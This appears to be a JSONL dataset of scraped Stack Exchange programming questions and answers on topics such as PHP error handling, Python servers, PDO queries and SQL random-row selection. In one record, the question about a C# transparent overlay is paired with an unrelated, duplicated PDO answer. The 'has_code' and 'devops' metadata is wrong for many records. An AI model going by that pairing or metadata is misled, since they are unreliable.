{"id": "hf_76b41d319c62", "question": "<p>What are the pros/cons of doing either way.  Is there One Right Way(tm) ?</p>\n", "question_body": "", "answer": "It depends on the situation. I tend to use Exceptions when I am writing business logic/application internals, and trigger_error for Validator's and things of that sort.\nThe pro's of using Exceptions at the logic level is to allow your application to do in case of such an error. You allow the application to chose instead of having the business logic know how to present the error.\nThe pro's of using trigger_error for Validator's and things of that nature are, say,\n```\n```\ntry {\n    $user->login();\n}  catch (AuthenticationFailureException $e) {\n    set_error_handler(\"my_login_form_handler\");\n    trigger_error(\"User could not be logged in. Please check username and password and try again!\");\n} catch (PersistenceException $pe) { // database unavailable\n    set_error_handler(\"my_login_form_handler\"); \n    trigger_error(\"Internal system error. Please contact the administrator.\");\n}\n```\n```\nwhere my_login_form_handler pretties up the string and places the element in a visible area above the login form.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:11.975129"}
{"id": "hf_ee0da19595c9", "question": "<p>How does one start development in Silverlight?</p>\n\n<p>Does one need a new IDE? or Visual studio will support?</p>\n", "question_body": "", "answer": "Yes there is tooling support for Visual Studio. It is still in Beta though.\nGet Started Building Silverlight 2 Applications\n1) Install Visual Studio 2008 then Install Silverlight Tools Beta 2 for Visual Studio 2008\nThis add-on to Visual Studio 2008 allows you to use .NET to create Silverlight 2 Beta 2 Web sites. The Silverlight 2 Beta 2 Runtime and the Silverlight 2 Beta 2 SDK are installed as part of this install. For additional information read the overview and the Silverlight 2 Beta 2 Readme Notes. Note if you have Visual Studio 2008 Service Pack 1 Beta installed, please see this information for details on installing correctly.\n2) Install Expression Blend 2.5 June 2008 Preview\nThis is a preview version of Expression Blend for designing Silverlight 2 experiences.\n3) Install Deep Zoom Composer\nThis tool allows you to prepare your images for use with the Deep Zoom feature in Silverlight 2.\nOne thing to watch out for is that Silverlight does not support Synchronous calls to the server. All calls are\nAsynchronous\nas of\nthis Beta\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:12.011490"}
{"id": "hf_54c20d5af2df", "question": "<p>I need to replace all WinAPI calls of the</p>\n\n<ul>\n<li>CreateFile, </li>\n<li>ReadFile, </li>\n<li>SetFilePointer,</li>\n<li>CloseHandle </li>\n</ul>\n\n<p>with my own implementation (which use low-level file reading via Bluetooth).\nThe code, where functions will be replaced, is Video File Player and it already works with  the regular hdd files.\nIt is also needed, that Video Player still can play files from HDD, if the file in the VideoPlayer input is a regular hdd file.</p>\n\n<p>What is the best practice for such task?</p>\n", "question_body": "", "answer": "I don't think this is best practice but it should work if you put it in an include file that's included everywhere the function you want to change is called:\n```\n```\n#define CreateFile MyCreateFile\n\nHRESULT MyCreateFile(whatever the params are);\n```\n```\nImplementation of MyCreateFile looks something like this:\n```\n```\n#undef CreateFile\nHRESULT MyCreateFile(NobodyCanRememberParamListsLikeThat params)\n{\n    if (InputIsNormalFile())\n        CreateFile(params);\n    else\n        // do your thing\n}\n```\n```\nYou basically make every CreateFile call a MyCreateFile call where you can decide if you want need to use your own implementation or the orginal one.\nDisclaimer: I think doing this is ugly and I wouldn't do it. I'd rather search and replace all occurences or something.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:12.034435"}
{"id": "hf_b9ff153c6267", "question": "<p>Is it possible to use overlapped I/O with an anonymous pipe? CreatePipe() does not have any way of specifying FILE_FLAG_OVERLAPPED, so I assume ReadFile() will block, even if I supply an OVERLAPPED-structure. </p>\n", "question_body": "", "answer": "No. As explained\nhere\n, anonymous pipes do not support asynchronous I/O. You need to use a named pipe. There's example code to do this on MSDN\nhere\nand\nhere\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:12.058753"}
{"id": "hf_3b6234bddacc", "question": "<p>Is it possible to to programmatically trigger a postback from server code in ASP.NET?  I know that it is possible to do a Response.Redirect or Server.Transfer to redirect to a page, but is there a way to trigger a postback to the same page in server code (<em>i.e.</em> without using javascript trickery to submit a form)?</p>\n", "question_body": "", "answer": "You could do it with an Ajax request.  You'd have to have the page polling the server.  There isn't any way for the server to push information out to the browser without requesting it.  But having some Javascript that runs in the background and polls the server every 5 seconds (or more, depending on your needs) would probably be the best solution.\nAPPEND\nIf you go this route, you can have the server send back just a yes or no, or even just 0 or 1 depending on whether or not the postback should be performed.  Depending on your needs, there many be no reason to actually use the XML part of AJAX.  Just run a simple Asynchronous request, possibly with a few querystring variables, and get back a simple one word, or even a number as a response. That way you can keep the javascript for creating and parsing the XML out if it isn't needed.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:12.106641"}
{"id": "hf_362d3bb0e6d9", "question": "<p>What are the most common memory optimizations in csharp, dotnet 2.0.  Wanted to see if there common things that people may not be doing by default in winform app</p>\n", "question_body": "", "answer": "use structs for small wrapper objects to avoid heap fragmentation\nthink carefully about object lifetimes, especially for large objects so they do not end up on the LOH unless you intend them to\nthink about allocations inside of a loop\nmake sure dynamically sized array will be of reasonable size, otherwise partition the problem", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:12.133352"}
{"id": "hf_82ef29587b2a", "question": "<p>Is global memory initialized in C++? And if so, how?</p>\n\n<p>(Second) clarification:</p>\n\n<p>When a program starts up, what is in the memory space which will become global memory, prior to primitives being initialized? I'm trying to understand if it is zeroed out, or garbage for example.</p>\n\n<p>The situation is: can a singleton reference be set - via an <code>instance()</code> call, prior to its initialization:</p>\n\n<pre><code>MySingleton* MySingleton::_instance = NULL;\n</code></pre>\n\n<p>and get two singleton instances as a result?</p>\n\n<p>See my C++ quiz on on multiple instances of a singleton...</p>\n", "question_body": "", "answer": "Yes global primitives are initialized to NULL.\nExample:\n```\n```\nint x;\n\nint main(int argc, char**argv)\n{\n  assert(x == 0);\n  int y;\n  //assert(y == 0); <-- wrong can't assume this.\n}\n```\n```\nYou cannot make any assumptions about classes, structs, arrays, blocks of memory on the heap...\nIt's safest just to always initialize everything.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:12.164508"}
{"id": "hf_529ec1a06216", "question": "<p>In Ruby on Rails Development (or MVC in general), what quick rule should I follow as to where to put logic.</p>\n\n<p>Please answer in the affirmative - With <em>Do put this here</em>, rather than <em>Don't put that there</em>.</p>\n", "question_body": "", "answer": "Well, it sort of depends upon what the logic has to deal with...\nOften, it makes sense to push more things into your models, leaving controllers small. This ensures that this logic can easily be used from anywhere you need to access the data that your model represents. Views should contain almost no logic. So really, in general, you should strive to make it so that you Don't Repeat Yourself.\nAlso, a quick bit of google reveals a few more concrete examples of what goes where.\nModel: validation requirements, data relationships, create methods, update methods, destroy methods, find methods (note that you should have not only the generic versions of these methods, but if there is something you are doing a lot, like finding people with red hair by last name, then you should extract that logic so that all you have to do is call the find_redH_by_name(\"smith\") or something like that)\nView: This should be all about formatting of data, not the processing of data.\nController: This is where data processing goes. From the internet: \"The controller’s purpose is to respond to the action requested by the user, take any parameters the user has set, process the data, interact with the model, and then pass the requested data, in final form, off to the view.\"\nHope that helps.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:12.203970"}
{"id": "hf_0cc93a219100", "question": "<p>is it possible to display &#8659; entity in ie6? It is being display in every browser but not IE 6.I am writing markup such as:  </p>\n\n<pre><code>&lt;span&gt;&amp;#8659;&lt;/span&gt; \n</code></pre>\n", "question_body": "", "answer": "According to\nthis page\n, that symbol doesn't show in IE6 at all.\n```\n```\nSymbol  Character  Numeric  Description\n⇓       &dArr;     &#8659;  Down double arrow - -  * Doesn't show with MS IE6\n```\n```\nIf you really need that particular symbol, you may just have to go for a small graphic of the arrow - not an ideal solution, but if you need it to display in IE6 then that may be your only option.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:12.231486"}
{"id": "hf_ad80780e60b8", "question": "<p>I'm writing a small web server in Python, using BaseHTTPServer and a custom subclass of BaseHTTPServer.BaseHTTPRequestHandler. Is it possible to make this listen on more than one port?</p>\n\n<p>What I'm doing now:</p>\n\n<pre><code>class MyRequestHandler(BaseHTTPServer.BaseHTTPRequestHandler):\n  def doGET\n  [...]\n\nclass ThreadingHTTPServer(ThreadingMixIn, HTTPServer): \n    pass\n\nserver = ThreadingHTTPServer(('localhost', 80), MyRequestHandler)\nserver.serve_forever()\n</code></pre>\n", "question_body": "", "answer": "Sure; just start two different servers on two different ports in two different threads that each use the same handler.  Here's a complete, working example that I just wrote and tested.  If you run this code then you'll be able to get a Hello World webpage at both\nhttp://localhost:1111/\nand\nhttp://localhost:2222/\n```\n```\nfrom threading import Thread\nfrom SocketServer import ThreadingMixIn\nfrom BaseHTTPServer import HTTPServer, BaseHTTPRequestHandler\n\nclass Handler(BaseHTTPRequestHandler):\n    def do_GET(self):\n        self.send_response(200)\n        self.send_header(\"Content-type\", \"text/plain\")\n        self.end_headers()\n        self.wfile.write(\"Hello World!\")\n\nclass ThreadingHTTPServer(ThreadingMixIn, HTTPServer):\n    daemon_threads = True\n\ndef serve_on_port(port):\n    server = ThreadingHTTPServer((\"localhost\",port), Handler)\n    server.serve_forever()\n\nThread(target=serve_on_port, args=[1111]).start()\nserve_on_port(2222)\n```\n```\nupdate:\nThis also works with Python 3 but three lines need to be slightly changed:\n```\n```\nfrom socketserver import ThreadingMixIn\nfrom http.server import HTTPServer, BaseHTTPRequestHandler\n```\n```\nand\n```\n```\nself.wfile.write(bytes(\"Hello World!\", \"utf-8\"))\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:12.293152"}
{"id": "hf_259249b58b0c", "question": "<p>Can you have a multicolumn listview control where one of the columns is a checkbox?  Example code or links would be greatly appreciated.</p>\n\n<p>I am using visual studio 2005</p>\n", "question_body": "", "answer": "Allan Anderson created a custom control to let you do this.\nYou can find it here:\nhttp://www.codeproject.com/KB/list/aa_listview.aspx\nHere's some example code for that control:\n```\n```\nGlacialList mylist = new GlacialList();\n\nmylist.Columns.Add( \"Column1\", 100 ); // this can also be added \n\n         // through the design time support \n\nmylist.Columns.Add( \"Column2\", 100 ); \nmylist.Columns.Add( \"Column3\", 100 ); \nmylist.Columns.Add( \"Column4\", 100 ); \n\nGLItem item;\n\nitem = this.glacialList1.Items.Add( \"Atlanta Braves\" );\nitem.SubItems[1].Text = \"8v\";\nitem.SubItems[2].Text = \"Live\";\nitem.SubItems[2].BackColor = Color.Bisque;\nitem.SubItems[3].Text = \"MLB.TV\"; \n\nitem = this.glacialList1.Items.Add( \"Florida Marlins\" );\nitem.SubItems[1].Text = \"\";\nitem.SubItems[2].Text = \"Delayed\";\nitem.SubItems[2].BackColor = Color.LightCoral;\nitem.SubItems[3].Text = \"Audio\";\n\nitem.SubItems[1].BackColor = Color.Aqua; // set the background \n\n      // of this particular subitem ONLY\n\nitem.UserObject = myownuserobjecttype; // set a private user object\n\nitem.Selected = true; // set this item to selected state\n\nitem.SubItems[1].Span = 2; // set this sub item to span 2 spaces\n\nArrayList selectedItems = mylist.SelectedItems; \n           // get list of selected items\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:12.318099"}
{"id": "hf_32b046e473f7", "question": "<p>What follows is a regular expression I have written to match multi-line pre-processor macros in C / C++ code. I'm by no means a regular expressions guru, so I'd welcome any advice on how I can make this better.</p>\n\n<p>Here's the regex:</p>\n\n<pre><code>\\s*#define(.*\\\\\\n)+[\\S]+(?!\\\\)\n</code></pre>\n\n<p>It should match all of this:</p>\n\n<pre><code>#define foo(x) if(x) \\\ndoSomething(x)\n</code></pre>\n\n<p>But only some of this (shouldn't match the next line of code:</p>\n\n<pre><code>#define foo(x) if(x) \\\ndoSomething(x)\nnormalCode();\n</code></pre>\n\n<p>And also shouldn't match single-line preprocessor macros.</p>\n\n<p>I'm pretty sure that the regex above works - but as I said, there probably a better way of doing it, and I imagine that there are ways of breaking it. Can anyone suggest any?</p>\n", "question_body": "", "answer": "This is a simple test program I knocked up:\n```\n```\n#!/usr/bin/env python\n\nTEST1=\"\"\"\n#include \"Foo.h\"\n#define bar foo\\\\\n    x\n#include \"Bar.h\"\n\"\"\"\n\nTEST2=\"\"\"\n#define bar foo\n#define x 1 \\\\\n    12 \\\\\n    2 \\\\\\\\ 3\nFoobar\n\"\"\"\n\nTEST3=\"\"\"\n#define foo(x) if(x) \\\\\ndoSomething(x)\n\"\"\"\n\nTEST4=\"\"\"\n#define foo(x) if(x) \\\\\ndoSomething(x)\nnormalCode();\n\"\"\"\n\nimport re\nmatcher = re.compile(r\"^[ \\t]*#define(.*\\\\\\n)+.*$\",re.MULTILINE)\n\ndef extractDefines(s):\n    mo = matcher.search(s)\n    if not mo:\n        print mo\n        return\n    print mo.group(0)\n\nextractDefines(TEST1)\nextractDefines(TEST2)\nextractDefines(TEST3)\nextractDefines(TEST4)\n```\n```\nThe re I used:\n```\n```\nr\"^[ \\t]*#define(.*\\\\\\n)+.*$\"\n```\n```\nIs very similar to the one use used, the changes:\n[ \\t] To avoid newlines at the start\nof the define.\nI rely on + being\ngreedy, so I can use a simple .*$ at\nthe end to get the first line of the\ndefine that doesn't end with \\", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:12.354165"}
{"id": "hf_dc9ec45fb87b", "question": "<p>Why is it so hard to do this in Java? If you want to have any kind of module system you need to be able to load JAR files dynamically. I'm told there's a way of doing it by writing your own <code>ClassLoader</code>, but that's a lot of work for something that should (in my mind at least) be as easy as calling a method with a JAR file as its argument.</p>\n\n<p>Any suggestions for simple code that does this?</p>\n", "question_body": "", "answer": "The following solution is hackish, as it uses reflection to bypass encapsulation, but it works flawlessly:\n```\n```\nFile file = ...\nURL url = file.toURI().toURL();\n\nURLClassLoader classLoader = (URLClassLoader)ClassLoader.getSystemClassLoader();\nMethod method = URLClassLoader.class.getDeclaredMethod(\"addURL\", URL.class);\nmethod.setAccessible(true);\nmethod.invoke(classLoader, url);\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:12.451928"}
{"id": "hf_750848c3a7fa", "question": "<p>I am trying to dynamicaly compile code using CodeDom. I can load other assemblies, but I cannot load System.Data.Linq.dll.  I get an error:</p>\n\n<p>Metadata file 'System.Data.Linq.dll' could not be found</p>\n\n<p>My code looks like:</p>\n\n<pre><code>CompilerParameters compilerParams = new CompilerParameters();\ncompilerParams.CompilerOptions = \"/target:library /optimize\";\ncompilerParams.GenerateExecutable = false;\ncompilerParams.GenerateInMemory = true;\ncompilerParams.IncludeDebugInformation = false;\ncompilerParams.ReferencedAssemblies.Add(\"mscorlib.dll\");\ncompilerParams.ReferencedAssemblies.Add(\"System.dll\");\ncompilerParams.ReferencedAssemblies.Add(\"System.Data.Linq.dll\");\n</code></pre>\n\n<p>Any ideas?           </p>\n", "question_body": "", "answer": "That may be because this assembly is stored in a different location than mscorlib is.  It should work if you provide a full path to the assembly.  The most convenient way to get the full path is to let the .NET loader do the work for you.  I would try something like this:\n```\n```\ncompilerParams.ReferencedAssemblies.Add(typeof(DataContext).Assembly.Location);\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:12.476498"}
{"id": "hf_67e59b0320ed", "question": "<p>Trying to do this sort of thing...</p>\n\n<pre><code>WHERE username LIKE '%$str%'\n</code></pre>\n\n<p>...but using bound parameters to prepared statements in PDO. e.g.:</p>\n\n<pre><code>$query = $db-&gt;prepare(\"select * from comments where comment like :search\");\n$query-&gt;bindParam(':search', $str);\n$query-&gt;execute();\n</code></pre>\n\n<p>I've tried numerous permutations of single quotes and % signs and it's just getting cross with me.</p>\n\n<p>I seem to remember wrestling with this at some point before but I can't find any references. Does anyone know how (if?) you can do this nicely in PDO with named parameters?</p>\n", "question_body": "", "answer": "Ah. Found a comment on php.net that reminded me of the answer; you need to wildcard your value before the bindParam is evaluated, and not worry about quoting it. So for example this works fine:\n```\n```\n$str = \"%$str%\";\n$query = $db->prepare(\"select * from comments where comment like :search\");\n$query->bindParam(':search', $str);\n$query->execute();\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:12.512390"}
{"id": "hf_66965688da35", "question": "<p>How can I show a grey transparent overlay in C#?<br>\nIt should overlay other process which are not owned by the application doing the overlay.</p>\n", "question_body": "", "answer": "Ah. Found a comment on php.net that reminded me of the answer; you need to wildcard your value before the bindParam is evaluated, and not worry about quoting it. So for example this works fine:\n```\n```\n$str = \"%$str%\";\n$query = $db->prepare(\"select * from comments where comment like :search\");\n$query->bindParam(':search', $str);\n$query->execute();\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:12.536685"}
{"id": "hf_9902e0c29faf", "question": "<p>An example of an app that does this is <a href=\"http://www.humanized.com/enso/\" rel=\"nofollow noreferrer\">Enso</a>, it pops up when you press the caps lock.</p>\n", "question_body": "", "answer": "You need to install a hook in user32.dll. Lookup the Win32-API call SetWindowsHookEx. You can call it from C# via the stuff in System.Runtime.InteropServices.\nThis article\ndiscusses the topic nicely.\nEdit\n: Lars Truijens answer looks like a nicer approach actually.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:12.561224"}
{"id": "hf_027f511df871", "question": "<p>How do I select one or more random rows from a table using SQLAlchemy? </p>\n", "question_body": "", "answer": "Theres a couple of ways through SQL, depending on which data base is being used.\n(I think SQLAlchemy can use all these anyways)\nmysql:\n```\n```\nSELECT colum FROM table\nORDER BY RAND()\nLIMIT 1\n```\n```\nPostgreSQL:\n```\n```\nSELECT column FROM table\nORDER BY RANDOM()\nLIMIT 1\n```\n```\nMSSQL:\n```\n```\nSELECT TOP 1 column FROM table\nORDER BY NEWID()\n```\n```\nIBM DB2:\n```\n```\nSELECT column, RAND() as IDX\nFROM table\nORDER BY IDX FETCH FIRST 1 ROWS ONLY\n```\n```\nOracle:\n```\n```\nSELECT column FROM\n(SELECT column FROM table\nORDER BY dbms_random.value)\nWHERE rownum = 1\n```\n```\nHowever I don't know of any standard way", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:12.597530"}
{"id": "hf_9ba178c7a896", "question": "<p>Even though Silverlight2 is still in it's infancy, can anyone recommend a book to get started with? One that has more of a developer focus than a designer one? </p>\n", "question_body": "", "answer": "I'm currently working my way through\nIntroducing Microsoft Silverlight 2\n, so far so good.\nIt's a typical Microsoft book serving up the\nkoolaid\n, but gives a good introduction.  I saw the guy speak at one of the local .NET User Groups in the Metro Detroit area and was impressed.\nalt text http://ecx.images-amazon.com/images/I/51YD6H7PQyL._SL500_BO2,204,203,200_PIsitb-dp-500-arrow,TopRight,45,-64_OU01_AA240_SH20_.jpg", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:12.633940"}
{"id": "hf_58ae2863277f", "question": "<blockquote>\n  <p>HyperTerminal is a program that you can use to connect to other\n  computers, Telnet sites, bulletin\n  board systems (BBSs), online services,\n  and host computers, using either your\n  modem, a null modem cable or Ethernet\n  connection.</p>\n</blockquote>\n\n<p>But My main usage of Hyperterminal is to communicate with hardware through local (virtual )COM ports. I suppose it is removed in Vista for some reason.</p>\n\n<p>Are there any other tools that functions similar to Hyperterminal?</p>\n\n<p>[I am curious to know even if it is not for vista]</p>\n", "question_body": "", "answer": "Here are two:\nTera Term\nTera Term (Pro) is a free software terminal emulator (communication program) for MS-Windows. It supports VT100 emulation, telnet connection, serial port connection, and so on.\nKermit 95\nKermit 95: Internet and serial communications for Microsoft Windows® 95, Windows 98, Windows ME, Windows NT (4.0 and later), Windows 2000, Windows XP, and IBM OS/2 from the Kermit Project at Columbia University, offers you text-based terminal connections to Unix, VMS, and many other kinds of hosts, allowing you to interact directly with their shells and applications, to transfer files, and, if desired, to automate interactions and file transfers with its built-in platform- and transport-independent scripting language.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:12.658181"}
{"id": "hf_1b3780472f25", "question": "<p>Is there a mod_rewrite equivalent for IIS 7.0 that's </p>\n\n<p>a) more or less complete </p>\n\n<p>b) suitable for a production environment, i.e. battle-tested/dependable/secure</p>\n\n<p>Do you have an experience-based recommendation?</p>\n", "question_body": "", "answer": "Have a look at URLRewriter. Used it in production once without problems. But don't rely on that as the only quality check:\nhttp://www.codeplex.com/urlrewriter\n(It's free and has a Microsoft Public License)\nManaged Fusion URL Rewriter is a powerful URL manipulation engine based on the Apache mod_rewrite extension. It is designed, from the ground up to bring all the features of Apache mod_rewrite to IIS 6.0 and IIS 7.0. Managed Fusion Url Rewriter works with ASP.NET on Microsoft's Internet Information Server (IIS) 6.0 and Mono XPS Server and is fully supported, for all languages, in IIS 7.0, including ASP.NET and PHP. Managed Fusion Url Rewriter gives you the freedom to go beyond the standard URL schemes and develop your own scheme.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:12.720609"}
{"id": "hf_7157029bc7e4", "question": "<p>I know a few advanced ways, to change directories. <code>pushd</code> and <code>popd</code> (directory stack) or <code>cd -</code> (change to last directory).</p>\n\n<p>But I am looking for quick way to achieve the following:</p>\n\n<p>Say, I am in a rather deep dir:</p>\n\n<pre><code>/this/is/a/very/deep/directory/structure/with\\ lot\\ of\\ nasty/names\n</code></pre>\n\n<p>and I want to switch to  </p>\n\n<pre><code>/this/is/another/very/deep/directory/structure/with\\ lot\\ of\\ nasty/names\n</code></pre>\n\n<p>Is there a cool/quick/geeky way to do it (without the mouse)?</p>\n", "question_body": "", "answer": "Do you mean that the path names are the same, and only one directory name changes (\"a\" becomes \"another\")? In that case:\n```\n```\ncd ${PWD/a/another}\n```\n```\nwill switch to the other directory.\n```\n$PWD\n```\nholds your current directory, and\n```\n${var/foo/bar}\n```\ngives you\n```\n$var\n```\nwith the string 'foo' replaced by 'bar'.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:12.756903"}
{"id": "hf_cec03f59da3b", "question": "<p>I have a query where I wish to retrieve the oldest X records.  At present my query is something like the following:</p>\n\n<pre><code>SELECT Id, Title, Comments, CreatedDate\nFROM MyTable\nWHERE CreatedDate &gt; @OlderThanDate\nORDER BY CreatedDate DESC\n</code></pre>\n\n<p>I know that normally I would remove the 'DESC' keyword to switch the order of the records, however in this instance I still want to get records ordered with the newest item first.</p>\n\n<p>So I want to know if there is any means of performing this query such that I get the oldest X items sorted such that the newest item is first.  I should also add that my database exists on SQL Server 2005.</p>\n", "question_body": "", "answer": "Why not just use a subquery?\n```\n```\nSELECT T1.* \nFROM\n(SELECT TOP X Id, Title, Comments, CreatedDate\nFROM MyTable\nWHERE CreatedDate > @OlderThanDate\nORDER BY CreatedDate) T1\nORDER BY CreatedDate DESC\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:12.784334"}
{"id": "hf_b13378ff4bf1", "question": "<p>Technical Debt <a href=\"http://www.martinfowler.com/bliki/TechnicalDebt.html\" rel=\"noreferrer\">via Martin Fowler</a>, <a href=\"http://forums.construx.com/blogs/stevemcc/archive/2007/11/01/technical-debt-2.aspx\" rel=\"noreferrer\">via Steve McConnell</a></p>\n\n<p>YAGNI (You Ain't Gonna Need It) <a href=\"http://en.wikipedia.org/wiki/You_Ain%27t_Gonna_Need_It\" rel=\"noreferrer\">via Wikipedia</a></p>\n\n<p>BDUF (Big Design Up Front) <a href=\"http://en.wikipedia.org/wiki/BDUF\" rel=\"noreferrer\">via Wikipedia</a></p>\n\n<p>UPDATE: To clarify the question, I think I can also state it this way and keep my meaning:</p>\n\n<p><em>\"In what ways do you, as an Agile practioner, find the right balance between \"quick and dirty\" (unintentionally risking Technical Debt while attempting to adhere to YAGNI) and over-engineering (BDUF) <strong>within</strong> each iteration?\"</em></p>\n", "question_body": "", "answer": "I find Robert Martin's\nTest Driven Development\n(TDD) approach helps with these concerns.\nWhy?\nYou only have to write enough code to pass the next test.\nI think testable code is cleaner.\nThe design has to feed into tests which can help keep the design focused.\nWhen you do have to change (refactor) you have tests to fall back on\nRegardless of when the test are written (before or after) I find writing \nthe test helps you make practical decisions. E.g., we picked design A or B because \nA is more testable.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:12.819706"}
{"id": "hf_60d51223553f", "question": "<p>How can I open a cmd window in a specific location without having to navigate all the way to the directory I want?</p>\n", "question_body": "", "answer": "Try out\nthis \"PowerToy\" from Microsoft\n:\nOpen Command Window Here\nThis PowerToy adds an \"Open Command\n  Window Here\" context menu option on\n  file system folders, giving you a\n  quick way to open a command window\n  (cmd.exe) pointing at the selected\n  folder.\nEDIT :\nThis software will not work on any version of Windows apart from Windows XP.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:12.855873"}
